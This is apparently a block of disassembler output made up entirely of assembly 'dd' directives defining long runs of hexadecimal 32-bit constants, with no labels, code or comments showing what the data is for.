		dd 0AD4C33BAh, 0E2C044Bh, 13B84534h, 9356548h, 589588F6h
		dd 5F2ECD67h, 5A9DFEC9h, 16EE8640h, 2A9819E8h, 6875FC00h
		dd 3C71E91Ch, 0D4769701h, 0EF457DDAh, 9045093h,	0E71E198Eh
		dd 1078B67Ch, 66CF961Fh, 5C4AAB76h, 678AE5ECh, 10BBA08Bh
		dd 2014AE1h, 3655F9F3h,	3327E017h, 200E12B2h, 8127EF89h
		dd 68028FB4h, 0CAE707F3h, 485DEE8Bh, 910FA768h,	68598416h
		dd 128DBBDFh, 4ECF9B7Bh, 0CC8728AEh, 3F21759h, 0C22ABA2Dh
		dd 5D0C164h, 745A0742h,	0A3DCADD3h, 440BAA26h, 0E1137F3Dh
		dd 954B43DBh, 0F53ECFACh, 6DB264E1h, 6B3BCD52h,	5001F5B4h
		dd 55619150h, 827B6E37h, 447F40ADh, 0C7051C67h,	89E9C7B6h
		dd 804684C6h, 0D1778ECFh, 47F0444Eh, 55E5BD07h,	39E36805h
		dd 211CDEB3h, 913645Dh,	6C83DFAh, 12835F25h, 9007748Ch
		dd 5B94B63Fh, 0CF89E01Fh, 9A680C4Bh, 11E5FD3Ah,	0DACBA1A4h
		dd 0F2683C51h, 0F16ECCCFh, 2081A49h, 734AC3C5h,	577B4268h
		dd 0E963E4F1h, 24158E35h, 93850C3h, 33750144h, 48DDDA55h
		dd 91BD6833h, 280EA1Dh,	1DF07CE8h, 12A2C140h, 5BB8D24Ah
		dd 5816EA03h, 0A8BBE95Ah, 68122E76h, 0F3461771h, 75E37C7h
		dd 7E5359BBh, 99E4A243h, 0F127AC45h, 21494B15h,	0DFA1A545h
		dd 4C855C29h, 0C01EE881h, 5CB65276h, 96C60B80h,	0EA2084E9h
		dd 0CD743AB8h, 7BFB7F48h, 262F3F13h, 2909D9CEh,	0E40651C7h
		dd 0C0031071h, 0C48003ECh, 81FA857Bh, 6F42F282h, 0CE40FB8Bh
		dd 0DF47CBEDh, 7EC1F416h, 79521123h, 90594360h,	6866405Eh
		dd 74186725h, 25C1E08Fh
		dd 0B8017FD7h, 91FC90D2h, 14974E05h, 2DE10A13h,	0BA590F07h
		dd 0EDDA9540h, 0BFC201h, 0EE7C3583h, 24FAF255h,	5BDDC4E9h
		dd 0B858CADAh, 0A7EF1E96h, 64DB2A87h, 161EA15Dh, 4FA4BF04h
		dd 0BC849211h, 5EF26225h, 5692AF74h, 9A9DE909h,	1C16D779h
		dd 0E5AF0829h, 8AE512BCh, 143EAF50h, 103AF021h,	58269F6Bh
		dd 6D470284h, 0E3607798h, 41E9EA6h, 2190E9CAh, 87E78003h
		dd 0F6B9B551h, 35CEF5D5h, 0FD5C4030h, 0BE27A510h, 0C264FC89h
		dd 647DD3F7h, 95748B0h,	13FA909h, 0DD1632DFh, 71250047h
		dd 1C17094Dh, 57022CDBh, 0CA3CB3E9h, 8CC0B4Eh, 6842D4F9h
		dd 0E9A8A18Dh, 2006AC39h, 9E861C0Bh, 0D8A1F7B9h, 0F266E9CBh
		dd 0F4CDEB0Eh, 0B0F3E93h, 0C2C5C325h, 0EC1E01D1h, 0EC7D7911h
		dd 18B5F23Ch, 0D390CAAh, 8BF0AD0h, 77F03B0Bh, 7AC9291h
		dd 1D0E4405h, 6089504Dh, 0DDC22D20h, 0A73B7EE9h, 3062E2A3h
		dd 0B382D65Bh, 1C3B4740h, 0F9C3185Fh, 1212EE8Bh, 0AC75A252h
		dd 64BE126Bh, 2B8E1D41h, 0A13B0B61h, 0F29FFFECh, 9A4A977Ch
		dd 9659B2DFh, 8B2BB7D9h, 9A23100h, 0D2972B0Bh, 5B687F5Eh
		dd 41FE337h, 63AB0B2Dh,	7D7835C0h, 210F131Ah, 1C4805D3h
		dd 9621FE01h, 0BBA59CB7h, 6116CC78h, 0DC8416EDh, 14840712h
		dd 2EF657A0h, 902F1ECh,	43592BE1h, 34D8BD3Ah, 0D9BE2E93h
		dd 60E5625Fh, 1543BE0Ch, 27B390B2h, 6D11ABA7h, 6CC0E555h
		dd 10374C50h, 0BA00302Ch, 21991B8Bh, 8E0AF281h,	0F90DC211h
		dd 5B0A0102h, 2D9AE12Ch, 0BBB83883h, 0A9D4AE51h, 0D7E9CFCBh
		dd 0A905F240h, 0EA150877h, 0AE54384Dh, 0BF0EFC7Fh, 0D0A80066h
		dd 0CC9C7C7Fh, 0B7AF044Fh, 0EE296606h, 0ACB1E061h, 6E0F12Ch
		dd 0D6189558h, 8AA2BB5h, 1B4BFD64h, 1CB95B0Fh, 6A808518h
		dd 36BC918h, 963D3E10h,	0D32F9292h, 8A93D1F0h, 81DA10E8h
		dd 0F27603F5h, 5456ED14h, 651FFFE5h, 5768658Eh,	226A801h
		dd 0D16BA0C7h, 157F203Eh, 94F73316h, 6C43680Bh,	81DE96DDh
		dd 0BA00BD81h, 59722533h, 5D027FBCh, 0AB2A9A68h, 255FC2Bh
		dd 4D76701Fh, 746A541h,	30870CAh, 3742D9Bh, 0BD14A143h
		dd 37E7DF81h, 0CC0FE00h, 0CB3C5379h, 0C5ECB1Ch,	5A8A4915h
		dd 3F0102B8h, 896C8256h, 0E3041F9h, 0B6F62F05h,	1034509h
		dd 4E255494h, 0D4AA029h, 90483319h, 72530C36h, 49187051h
		dd 32606E7Eh, 1AF9B40Ch, 4462B7B7h, 0B3836BC2h,	8DA5B1Dh
		dd 74C15E6Ah, 0F72B0DE9h, 0D3AF50C9h, 343C6F17h, 0EADC12FEh
		dd 6C5B0B61h, 852FA32Ah, 0ED0CFE9h, 1E4A055Eh, 0CC139746h
		dd 5A182715h, 80385649h, 620990BAh, 0B70BA40Fh,	0DA89D8AEh
		dd 0FEA5387Bh, 0A268C1E0h, 551D957Eh, 50B900BAh, 8167E82Eh
		dd 2F4D77C1h, 0D4F4BF98h, 2E27A51h, 515D295Fh, 23346366h
		dd 0EF610B16h, 7382DE4h, 5E49935Fh, 1A757B83h, 6B81F664h
		dd 8A2807FBh, 4C83130h,	0B2D8F0E9h, 8244989Eh, 0B67DBFBh
		dd 98DFE528h, 80534141h, 4995D2F6h, 0C2CC5580h,	0BEB6FE10h
		dd 2BBF80C7h, 0C4353DBEh, 657B551Fh, 1EDEEECDh,	589BA32Fh
		dd 0F6A42543h, 5F66065h, 0EE5B6F23h, 0B289640Eh, 17C6CAAFh
		dd 1DC716E9h, 522EAABBh, 0BF093A11h, 20FD181Ah,	0CB4B5EADh
		dd 0F2D09F44h, 32D83139h, 0A15308C3h, 57935BF1h, 0B43F052Eh
		dd 0B7C2D162h, 8A307A17h, 90E95273h, 47532523h,	75A818F1h
		dd 33D4A2ACh, 33B2015Fh, 0CA681EC0h, 84A4F9D6h,	0C09C5E06h
		dd 792EA43h, 310E6712h,	4AE8B12h, 9CDC5DAh, 0C11CF701h
		dd 2DAE7BB5h, 0E9615FF4h, 1A816F80h, 486DA1BBh,	0F6D82B65h
		dd 7180017h, 8102D26h, 357A0163h, 6F274A13h, 4B901401h
		dd 0A36019BEh, 5EFCEC14h, 1293BC74h, 920AA66Fh,	0D71ECAEFh
		dd 0EC05C7C3h, 182EC40h, 58CA8915h, 640BEA8Eh, 9C589B5Bh
		dd 0C794B469h, 0C08E322Dh, 0BB59B693h, 9C5615FFh, 2580802Ch
		dd 22300674h, 326852D8h, 1D5312A3h, 5A480AD0h, 77E6508Eh
		dd 1CA2E5Ch, 7EB73787h,	71388DE9h, 7478802Fh, 0A43DF37Ah
		dd 5EED4F22h, 9E38EE93h, 69ED41A3h, 42BA0752h, 0EFD31809h
		dd 888604FBh, 0C2018774h, 0BD005697h, 0F30B041Bh, 7B23816Fh
		dd 48152675h, 7158C420h, 4E56DAAFh, 8AD8B9Dh, 66530930h
		dd 0BF27A10Dh, 0C47F0B57h, 12D5EA9Dh, 2FD28BBAh, 0E5955C5Dh
		dd 0B1064002h, 473E0E3Fh, 7D2FEA0h, 3D60243Bh, 0C8CA8BEFh
		dd 9CC55809h, 8278261Dh, 6AD2302h, 215D041h, 56CFF59h
		dd 9CB15116h, 0AA1274F6h, 0F336CCCEh, 0B7B41E40h, 0C1819BD0h
		dd 4E706052h, 0ACADAD4Bh, 2DEE68A0h, 5697B391h,	48D79109h
		dd 370C957Fh, 0E37F0705h, 1D03650Dh, 0FF46ACEBh, 0E1645A28h
		dd 17DD6B67h, 52A02C7Fh, 9DAE12D2h, 0FE6EA782h,	0B8537098h
		dd 0CCE675C1h, 0DA70E864h, 2A860FCEh, 0EE810BBAh, 0F08E583Bh
		dd 660E6C1h, 0B628AE12h, 15D2952Fh, 9C888C2Fh, 9722FC5Ah
		dd 0BB53DE82h, 3AF7D552h, 246812E4h, 0C2B16430h, 0D70B1E54h
		dd 7134CE23h, 6B302C91h, 0E88056F0h, 8853129Bh,	0B906FECFh
		dd 4C6213B9h, 3F10995Ch, 555925F2h, 7599759Ch, 235E308h
		dd 8818B252h, 0A11096DFh, 0AA74693h, 9130C550h,	5E350ED9h
		dd 257B243Ah, 27A31CB8h, 9E9D1E57h, 0E2E98C61h,	0D128462Bh
		dd 3DF6B4E6h, 48577A25h, 28F67360h, 0A1ADFD27h,	6601A217h
		dd 6D05C8ADh, 2D2C3F76h, 930992B1h, 94CB77FAh, 0A9B3FC1Bh
		dd 0D2B4B8D3h, 24E67B88h, 0BC888C9Bh, 12DE6809h, 40731A01h
		dd 80FFCEFCh, 2B573AABh, 975E25E9h, 50164479h, 7028E237h
		dd 7A97F9F6h, 26489897h, 8C90FEC0h, 0AE064FF4h,	883951F8h
		dd 36EE2EE5h, 0DAF749CFh, 0ED0320F3h, 3E846812h, 0A298BCDh
		dd 82E33350h, 8422F284h, 2EB7EBCAh, 0C0AEB17h, 500C2C15h
		dd 7E0C88F6h, 4743CF68h, 59EF40ADh, 0A780424Fh,	985EEC40h
		dd 0E904C2A4h, 67488E66h, 0EAE4FD88h, 9771F69Dh, 0DB5CBCC7h
		dd 5D89482Ch, 4D157704h, 0EDFAC026h, 3D39688Ah,	5162AFC9h
		dd 0FE982CFh, 9747012Ah, 89CED92Dh, 72496DE9h, 0C3562BC3h
		dd 0D795930Bh, 91C01E18h, 0A6615782h, 83B5316Bh, 0EC0C1B80h
		dd 0C0C7A18h, 4573C32Dh, 0E1047E0Eh, 0EB0199A3h, 0ADE268EEh
		dd 2D45001h, 6E746857h,	7C779588h, 0CDF68007h, 7FD54F82h
		dd 687F516Eh, 46F67E4Fh, 0A77DF8D3h, 6BBCF34h, 6DC8CDC0h
		dd 0CBEA322Ch, 6F0BE192h, 7DF2C2DDh, 1F6205ECh,	8EEB2927h
		dd 0D4A9D6C8h, 0D1448990h, 3EAE17EDh, 0F5730767h, 9BE68230h
		dd 2B836860h, 0CA9D41ECh, 5B0809F0h, 74013F5Ah,	0BF1810F8h
		dd 1E47DC45h, 2E0BBA3h,	19D5BB2h, 2B69E9C7h, 0E9586C2Fh
		dd 0DFE39695h, 0D1559A2Fh, 0F0EE397Eh, 3040A839h, 787C64Dh
		dd 0CEFECFEEh, 0E4E9D8E4h, 0EE59C817h, 0CA0DD300h, 7B873Ah
		dd 21ABBA52h, 0D00937AFh, 0CFF1F9BDh, 0E3A5E40Bh, 0AD0FFEBh
		dd 607E58E5h, 0C6F50C56h, 374FFF38h, 0E04B3BC3h, 164FF1BEh
		dd 99210B0Eh, 0BE163E56h, 0DD87BBC1h, 45B2FA57h, 9C1E7EF0h
		dd 4D22CBF1h, 35016DF6h, 0DF04F59Eh, 0C4C5C53Bh, 969580B9h
		dd 42126D41h, 704554Eh,	45E4922Ah, 6F4F1DF2h, 0F0B98751h
		dd 0E941A012h, 4B40994h, 0E14B5783h, 0E3CAB026h, 67AC1636h
		dd 447718E9h, 0D19B8BEh, 0F583798h, 0ABC4D77Ch,	0ED800310h
		dd 88F5990Dh, 5C9A06A0h, 0D000FEE8h, 0B6527F2Ch, 6C25E9ECh
		dd 626C7E89h, 1BFFE413h
		dd 590CC9F9h, 0FA969A22h, 55C07C04h, 3191FA12h,	0C97CD327h
		dd 0B378E2C9h, 2D5DBF09h, 8C8685DDh, 40A08552h,	71746B33h
		dd 0F5D492DDh, 1988DDC5h, 167E2F6Ah, 0F43CF153h, 0DDF76683h
		dd 0D6A39695h, 7E6D829Ch, 6465020Bh, 50C1272Dh,	21F7E0A4h
		dd 34FCF2B8h, 0FCC97969h, 6F69983h, 22BC2BEAh, 226BBD1Ah
		dd 0F63EC2F7h, 3E123817h, 0CAC1EF18h, 0C980BD22h, 685056DDh
		dd 75242EB5h, 0C6020B11h, 0AB35C8E9h, 0F896DA69h, 68674014h
		dd 0EDD7CAFBh, 0F3F80C3Dh, 1D9828E6h, 6C378B2Dh, 0C7681071h
		dd 4C542E5Ah, 0FE012E09h, 0BFA342D4h, 6EBE86A0h, 0A004C33h
		dd 3FF68146h, 0B078FD23h, 0C5E8A1EAh, 9A10C77Dh, 24BA4EABh
		dd 2B12BAC1h, 0C204DEE9h, 0C3263972h, 0F8B0F2DCh, 21160F5Ch
		dd 5BA5AD0h, 0BAC8317Bh, 20D58044h, 10D6E916h, 0BBC726F9h
		dd 704EC23Dh, 8539E861h, 0CF43E90Dh, 24D19DFBh,	1E76055Dh
		dd 0A1C46C97h, 9168E015h, 47F20C4h, 81AABAB0h, 71C7348Dh
		dd 20B6DA8h, 0DAD817F7h, 3C30D7B4h, 23C0E1CFh, 0E764BFC7h
		dd 505BF626h, 1C9E0B72h, 7E470174h, 18DB6718h, 0E4B6EBBh
		dd 0E300E6ECh, 338D186Ch, 779EBC1h, 1466F304h, 0C6C075F5h
		dd 580EF98Bh, 33009A8Ah, 0E92A1C13h, 3180672Fh,	416390E8h
		dd 91926F1Ah, 8912C2E3h, 0DA685FD0h, 409716B2h,	5E5BDE0Dh
		dd 2D66B656h, 0D25E765Eh, 0CA2519D2h, 655E5C7Ch, 9962FB82h
		dd 606F582Bh, 65DAB85Fh, 1AF8499Eh, 0ECD0955Bh,	30DE5971h
		dd 0EEFC4E73h, 0E90EAFB8h, 8BF129D0h, 578FE150h, 310DD840h
		dd 0B7C4E7Eh, 0A8C10AD8h, 3D1D325Ah, 0DC2E69B8h, 0EC9302BBh
		dd 947CD29Ch, 36BC6805h, 87E95744h, 4BD20597h, 0A52ED122h
		dd 18C70B5Ch, 1862CC8Bh, 0D4343BDDh, 0A71D32BFh, 3D445756h
		dd 0DEB09275h, 0D67C1285h, 0FEC10863h, 8E1E4227h, 0C2836482h
		dd 0B05475E8h, 0E8894E5Ah, 0DC01B3D3h, 8452A2AEh, 57980D80h
		dd 93385449h, 4E7D17BFh, 0EF9000E8h, 6F6027F8h,	0E692C895h
		dd 0EAE31357h, 3071DD89h, 0A8C9EE8Bh, 369275D3h, 6E2C655Ch
		dd 76655D52h, 0E8130126h, 3F847CF2h, 0C061268h,	7D33436Dh
		dd 0F9861D6h, 78686652h, 0BC6B1397h, 0E9B189BDh, 4E9F68C9h
		dd 0D04E59B8h, 3F91C29Fh, 9410E43Dh, 5229539h, 8BF3020h
		dd 0F73181FFh, 1EF75003h, 0E43DFC6Ch, 521C995Ah, 11E4C331h
		dd 872F4A4Ch, 0F1CB903Dh, 7265177Ch, 0C4C30812h, 0E7AB8448h
		dd 62AC4F0h, 52E8CFD1h,	0F28AC14h, 5CD58851h, 886CEEDDh
		dd 2C87D313h, 0D05BDCEBh, 49D685E9h, 8EAC108h, 6827C442h
		dd 0F60D698Dh, 1819781h, 0CC2EF380h, 42F0AEBh, 3A34D4C8h
		dd 0A285B1Ah, 630BB354h, 0A8EA5352h, 70380BB4h,	54274441h
		dd 0F1816049h, 222D0B85h, 901D8902h, 48EFC1F6h,	5F803103h
		dd 890611EBh, 99E9F91Fh, 0C202C7E9h, 0E10F9235h, 4503C30Eh
		dd 0A43996B1h, 0D000E0D9h, 294FE760h, 0BC9A2FBh, 0A0B1D508h
		dd 6B096517h, 30EC898Dh, 94EAF3F8h, 12F493A4h, 45D0EB29h
		dd 97727CE9h, 3F551CA2h, 0E0A8C320h, 7A20FD2Eh,	0B25E18A9h
		dd 563D0C1Eh, 1059778h,	3A71E9DDh, 96F5BDD0h, 8CD14C31h
		dd 9600EA51h, 588345CEh, 0C1079D27h, 4477ED25h,	0C6E7C0E6h
		dd 853573B8h, 3501125Dh, 40047CEEh, 0B735E9C4h,	0BCF5838Bh
		dd 82DF8375h, 0BFC90B30h, 0F5AC57DAh, 7F5FC155h, 0E5FA043Dh
		dd 0E2B200D8h, 0C29D6F4Fh, 62FB84E4h, 703CF0CDh, 0C368AFD6h
		dd 0C7917AE9h, 0C1CEB8FCh, 7B29363Ch, 0A35B3BA3h, 2A64041Bh
		dd 0C4EB562Bh, 51DA7174h, 0A44C401Ah, 0C1952848h, 0C93AF6E8h
		dd 0E3AA4801h, 0E03F7A41h, 0AB0E2D21h, 0A16A123Bh, 66624898h
		dd 7057E94h, 0B938C54Ch, 64CEBC70h, 0D55C0987h,	912D7A4Ch
		dd 2DC51Ah, 4A4E30F6h, 0F2178936h, 0EF9FCE9h, 5416CF0Fh
		dd 0EF1706F3h, 81A00704h, 32F0913h, 0C643C84Fh,	94AE959Ah
		dd 0C7207AE6h, 3CB86F75h, 0F845484Eh, 0E196E215h, 0DF09163Ah
		dd 31F9C75Bh, 6B80E049h, 4A1A35F6h, 927FA995h, 6DCE4068h
		dd 194D0801h, 4808C231h, 0A05028F0h, 925CD2E9h,	44BF030Ch
		dd 0DBF71E11h, 81B3A6E1h, 7D543518h, 25D47E32h,	95484C4Dh
		dd 3BD3E210h, 0CCC51A55h, 55A6AB0Ch, 9BE91F38h,	0F59B0D60h
		dd 9D1C98C7h, 5FD180Ch,	0C02B9100h, 0DDC2D7Bh, 5087A88h
		dd 62A2103Eh, 7429BA5Ah, 0AA58A47Ah, 93103946h,	30DB50E2h
		dd 9DADE309h, 85CF0229h, 0E2FF44C5h, 308A3E34h,	82064C8h
		dd 9AFD59B7h, 48D54770h, 0A3A3540h, 29A47D57h, 72B988A1h
		dd 132A680Fh, 0F74151B3h, 94B1F27Fh, 1BAF10D0h,	0E805BE4Bh
		dd 0F5B449D2h, 212B3AEEh, 50125C8h, 0D1182638h,	2D8F30EFh
		dd 4B4F015Eh, 120B2F54h, 2968DB8Ch, 0AC847EA6h,	0BD6F4403h
		dd 24F52630h, 374A110h,	0ABAFF43Fh, 0CE10C301h,	5A00A2B2h
		dd 0AA35D8F7h, 0F424D3DBh, 0DB380F31h, 0CCD96616h, 0EBB8453Eh
		dd 0AA8035B0h, 0FE71F6D1h, 87029922h, 0F7652F0Ah, 767FC07Fh
		dd 3AD093Ah, 852C23E9h,	6D2F6868h, 1258C778h, 7B9ABF55h
		dd 42685C04h, 17049863h, 5A2F87BCh, 53C60066h, 1F42B8BBh
		dd 0E9124B71h, 41BAE516h, 0D23EE075h, 9CFC3077h, 0A5FC1248h
		dd 6873C1ABh, 30452B61h, 0D297CD10h, 4D6D6566h,	0CCD6745Ch
		dd 1012DEE4h, 25A1373Bh, 0A22DD8CCh, 0C139D30Ah, 7CEBB8E9h
		dd 8D1C9ED4h, 0D0EEC865h, 50A8E95Ah, 297AED27h,	0E17847F0h
		dd 6B2B7601h, 0E1C1FE1Fh, 0CC3560Eh, 35170C85h,	0B04CFC7Dh
		dd 0BF6DEAE9h, 0B105B314h, 0E5F18059h, 5DE28004h, 60C38CAEh
		dd 12905892h, 8AB23979h, 49B3C72Ch, 0E3B4CC16h,	773B9207h
		dd 4451B529h, 551677C9h, 27125B5Ch, 565123BAh, 81475B34h
		dd 4ED5FD5h, 888DCCAEh,	3C9AE041h, 7E8977CCh, 0A09E8A8Fh
		dd 0ABC85C4Eh, 0D14B4D0Bh, 0E53D21Eh, 0A212BDDEh, 0BE8DDF50h
		dd 0ED3AE20Eh, 97A3B4FFh, 5A6C8A4Fh, 808B34EDh,	725ECD1h
		dd 0C0634F15h, 0B80C00E4h, 73E01CCAh, 0C7442D40h, 3CEF0481h
		dd 0BE22DE35h, 6C2CE109h, 0DD8182BDh, 4962E91Ah, 0C0CAB224h
		dd 4226026Fh, 8509C2EEh, 0F0589C28h, 0E3549DF8h, 45896162h
		dd 4792D08h, 0D509A7EAh, 0A187B61h, 0E9E830F2h,	5E43BA5Dh
		dd 0F02609B1h, 0A9088A7Bh, 0F3D7962Ch, 25E890A7h, 104AC337h
		dd 0F9A9144h, 0C66CF280h, 9D10B129h, 0DCCBE07Eh, 42D90445h
		dd 2E09FE15h, 0CBB0B892h, 0B7D1B51Fh, 0DE637D40h, 0E981016Bh
		dd 2460380h, 0AF06D941h, 2703DE2Fh, 2FC0B476h, 504050Bh
		dd 0E007A2BBh, 82EF8440h, 7709A7CFh, 0F9BD58BCh, 0B47C8994h
		dd 8FC45D2Eh, 0DF1AB20Eh, 2760ED4Dh, 603B2734h,	0ADC25701h
		dd 103F852Fh, 4DFDDE68h, 3230E380h, 0F09D2977h,	30CA68CAh
		dd 0BDE9040Bh, 0A8B8DC67h, 13C9E7B5h, 0F7D34B57h, 0F42D8564h
		dd 0C7A0D6AEh, 10F72958h, 95DEB0A3h, 4443AF76h,	41CF1003h
		dd 0CE64281Bh, 88FE0273h, 16234C5Eh, 0BD3D5E92h, 250F3DCDh
		dd 0DD75C21Ah, 0E9871767h, 7F091738h, 0C224BE44h, 0E38F1E6Ch
		dd 59CE0C1Bh, 3E1016BAh, 0C2D500E7h, 690664B7h,	3709A390h
		dd 0D0539D77h, 0DF20555h, 0FE2C0208h, 3AC4B444h, 8A5F23CFh
		dd 0E24E73F2h, 612A2A3Dh, 0ACEF3E66h, 0BA346298h, 9379EBBh
		dd 0C032E3E9h, 9717A97Bh, 57616698h, 0DF102727h, 24E8B29Ah
		dd 0C3948BE9h, 26891BACh, 653D74D8h, 8AE7D711h,	3CE9C16Ah
		dd 0C7C981D6h, 0CF8078FAh
		dd 0B8418665h, 94070236h, 0F545AEF9h, 61FE535Ch, 3AE0E7CFh
		dd 0AF0070F6h, 0BB396107h, 0CB7272FBh, 95BB03B2h, 30EFE103h
		dd 0A9F1F4B1h, 0C43EE22Ah, 0F2B8CB7Fh, 6ED30D9Eh, 0C9803B93h
		dd 586575E4h, 0BA185C74h, 0B9C1CD43h, 5435700Fh, 513F9E29h
		dd 0F17DDC08h, 22B626C0h, 9072C680h, 1CBE8444h,	0BD6A65CFh
		dd 913A9912h, 417CD7A3h, 9C143D06h, 4F545E2Ch, 7CCD92CAh
		dd 9EE0A4h, 49DF4595h, 0FE00DD05h, 0C7212894h, 0F0E95158h
		dd 3C659B0Eh, 3B2A6791h, 0E52B99E6h, 1876B90Eh,	7A729904h
		dd 0D8050D58h, 30DE25DCh, 6D0E4902h, 904F5C43h,	0EA01B7C4h
		dd 219A0D89h, 604212B0h, 4A40E237h, 5295A008h, 214F252Bh
		dd 0FF589E2h, 8A77E3DEh, 96F01C13h, 0B45725D5h,	5F5B2767h
		dd 9D2650ECh, 34E7D4FEh, 624E7BD9h, 542F2513h, 0C2FBD233h
		dd 0B716C3FFh, 6E982F96h, 6DD2359Ah, 4A009ABAh,	4370C9E4h
		dd 5CBB0374h, 9B4DFD52h, 0C36F857h, 0BC24E727h,	38412CD2h
		dd 4BE076Ah, 0C07C274Fh, 874E49F6h, 957DF095h, 2FAA7C8Dh
		dd 6A8608A6h, 4321FDC3h, 0B693BE74h, 0C4ABE8F6h, 550BDBF5h
		dd 542FF67Eh, 25D55189h, 34687B60h, 0B4E98033h,	0B9E37A4Fh
		dd 35DBE07h, 0D5A8D439h, 0F082FEFEh, 0C6614053h, 25FB3F42h
		dd 62236998h, 78B58C2Ch, 73D9E94Eh, 9630DD70h, 0FFF792B5h
		dd 5A3A7238h, 0D5CABCFAh, 0AFF49397h, 0A96C5BCDh, 60F5895Fh
		dd 35DEF63Ch, 8C6FEh, 0F728D6D9h, 224BB3E9h, 5AC93E8Ch
		dd 7BB68C95h, 12B96556h, 4B71EF5Eh, 8C7A2BDDh, 215E5B6Fh
		dd 5B0DEDB4h, 69028CDEh, 5EAA3004h, 0BEC90540h,	5E6DA943h
		dd 1399B819h, 320DC501h, 94348B96h, 0B3494A13h,	8D11398h
		dd 0E909468Ah, 6190DDE6h, 47273160h, 4420DD19h,	16EC685Eh
		dd 0F234C6B5h, 5F051265h, 0F74F0079h, 7C9364D8h, 40001CBCh
		dd 8F58992Dh, 97294EE3h, 0F05C11BEh, 0ABEED81Ah, 50615418h
		dd 2F6C870Ch, 0EADC1082h, 0E91608A0h, 2CEEF0C0h, 162E26CCh
		dd 894A8E01h, 82523409h, 0E0DEF7F4h, 2D6316ABh,	7E7027BAh
		dd 17D112C3h, 0E78A0203h, 63627DFAh, 0DDA536C0h, 0F7B8E6C0h
		dd 20ADE77h, 0E25A7435h, 72414023h, 0DD6573C3h,	96C73216h
		dd 72D56847h, 453D88Ch,	0B78EB652h, 5A1B8288h, 0F696E1D7h
		dd 6E5B716Ah, 86CD7BE6h, 33F8C47Ah, 0F0EE7612h,	70DA872Fh
		dd 4F2FB79Fh, 0F4F7CEDFh, 0F805201Ch, 5D086653h, 31FC4FBh
		dd 86653B8Eh, 40DFFC84h, 58122EB1h, 0F5E1559Ch,	48088BCAh
		dd 80685D14h, 789D5A66h, 3F52EA49h, 0AD24EBB2h,	57C8BE6Fh
		dd 0E425587Bh, 8B1AAA81h, 0AD1EC33h, 4EBA16C0h,	0BF1D1774h
		dd 26946748h, 784927B6h, 22762035h, 2085B714h, 0C2800793h
		dd 0A03EFEFFh, 0D028A9EAh, 65028E9h, 0B9A59E83h, 3D34AF81h
		dd 79FD8902h, 312B8501h, 0CE8956E5h, 0B8FB49B4h, 34383D02h
		dd 7220D725h, 26A43B2Fh, 8131E925h, 6E2C5949h, 0E1A956E0h
		dd 8A65B93Bh, 3E0BBEF6h, 149AFDA0h, 0C5463CFFh,	0BCC6E927h
		dd 885B13FFh, 9C921EBh,	5B4803EAh, 0BFA1C0ECh, 8C2754DAh
		dd 7F5D5259h, 0D30FE6FEh, 0CE44FFA3h, 0A81D39C4h, 29892DB5h
		dd 5D1EC4E5h, 5B385AC0h, 9C59EF68h, 9A8062ECh, 320CA50Fh
		dd 0C8830D21h, 2077118Fh, 0B7D6A204h, 0EB831643h, 0C2DA084Ch
		dd 6856125Bh, 82F6C531h, 0E8E67B3Bh, 3F8F7397h,	0D89DC2BCh
		dd 0BC2E4D46h, 78D6AD29h, 4D7919FEh, 0C726F932h, 2B62A77Dh
		dd 0C582185Dh, 4DB1207Bh, 3376112Fh, 0C1239DBEh, 0F654403Fh
		dd 3ABDEE05h, 0D4BE77E2h, 5308157Eh, 0CA313E62h, 0ACEF68E0h
		dd 0E18A3D27h, 0D9A5C35Fh, 0BF4286FCh, 2537448Fh, 0A06016E6h
		dd 10028EE1h, 8CE9607Fh, 0BD35F39Dh, 10D54DA7h,	95C60194h
		dd 7E4F55E4h, 72B9B501h, 468B0F5Ch, 915CF8DCh, 0D419A8E2h
		dd 0BE59EA0h, 6FD6E1F0h, 0CBC4FC92h, 45B6E0BBh,	4C1063E9h
		dd 0BF20A1h, 0C581CD87h, 79756F6Ch, 314FDE95h, 49D7F708h
		dd 826A3D08h, 619705F0h, 6E49DDC7h, 8AD3A92Ch, 215D0182h
		dd 0D5FAE9D8h, 586DA77Eh, 440F863Fh, 0B3BE041Ch, 0BC74E76Eh
		dd 0EB2A1625h, 711E7BB9h, 5E33C91Ah, 4D9C9675h,	25028C8Bh
		dd 73783B49h, 0DD251E5Eh, 0FD1F7F81h, 0FEB23ED2h, 9AD01DC9h
		dd 0BE882A93h, 91E28BDh, 59E52743h, 1A350802h, 0C9BD9FF2h
		dd 0B6A785Bh, 5A455271h, 43DAC227h, 5AD7A874h, 6F20F352h
		dd 6B899DA7h, 6C451FF9h, 60BAFC90h, 4876FE63h, 11205355h
		dd 34BE5F4Ah, 0E9397090h, 0A5C57A95h, 21AEC331h, 0C5FFFF1h
		dd 31D640FCh, 68E62CBFh, 53534854h, 3E0C0DC1h, 0BE53C663h
		dd 7C80B116h, 1E69EB81h, 13476B71h, 81410F3h, 0E76AE90Dh
		dd 1F136E62h, 0B2B500FAh, 810AD651h, 9D28CD3Dh,	0E5811FC4h
		dd 27956F6Ah, 5A14D20h,	0E93B8E14h, 31BAB090h, 555AD025h
		dd 0AFEE6685h, 52009ECBh, 0FD5B91BAh, 4A5EE96Fh, 4E87AB84h
		dd 3A872B21h, 5DEB8EDh,	5C35BE51h, 162DD4F0h, 0DEA02EEh
		dd 0F1F1C83Ch, 5D1D3F96h, 5B986455h, 0B305EBBDh, 0AC056625h
		dd 7A340518h, 1DC45D0Fh, 132EECC9h, 0A1D3FCE8h,	0B59D63Fh
		dd 8B23F23Ah, 0B80CC457h, 80F52D1Dh, 1DCA5EF4h,	0A07296E2h
		dd 415BB910h, 264B60EAh, 8880E80h, 0C3919BFh, 2C705501h
		dd 324AC04Ch, 7F5368D2h, 49CABD59h, 205E20E9h, 0FD9AFB8Eh
		dd 32CC2BA0h, 0DE02119Dh, 0E261132Ah, 7CEF4BB3h, 1A4D2A8Ch
		dd 68C91C6Bh, 0F84C1CEh, 9537A6C8h, 9D59EE31h, 82DAEAD9h
		dd 7F934CD6h, 5B13DDE5h, 4CB039E0h, 4920D6C7h, 39DEB900h
		dd 0F181353Dh, 3F5D040Dh, 0E85EE95Bh, 71B25EE0h, 0B72388D2h
		dd 103255D0h, 0D1005BDDh, 0E0EA81E2h, 217D694Fh, 6F84E74Fh
		dd 93D0A2BFh, 0A0611872h, 7B7CB9B3h, 0F8775AD5h, 0F368E01Dh
		dd 62319679h, 5D09A884h, 5962882h, 0C34880FEh, 36528B3Ah
		dd 1DC8073Bh, 0C26C82A2h, 0DF5955D7h, 0C1851048h, 1CED5F58h
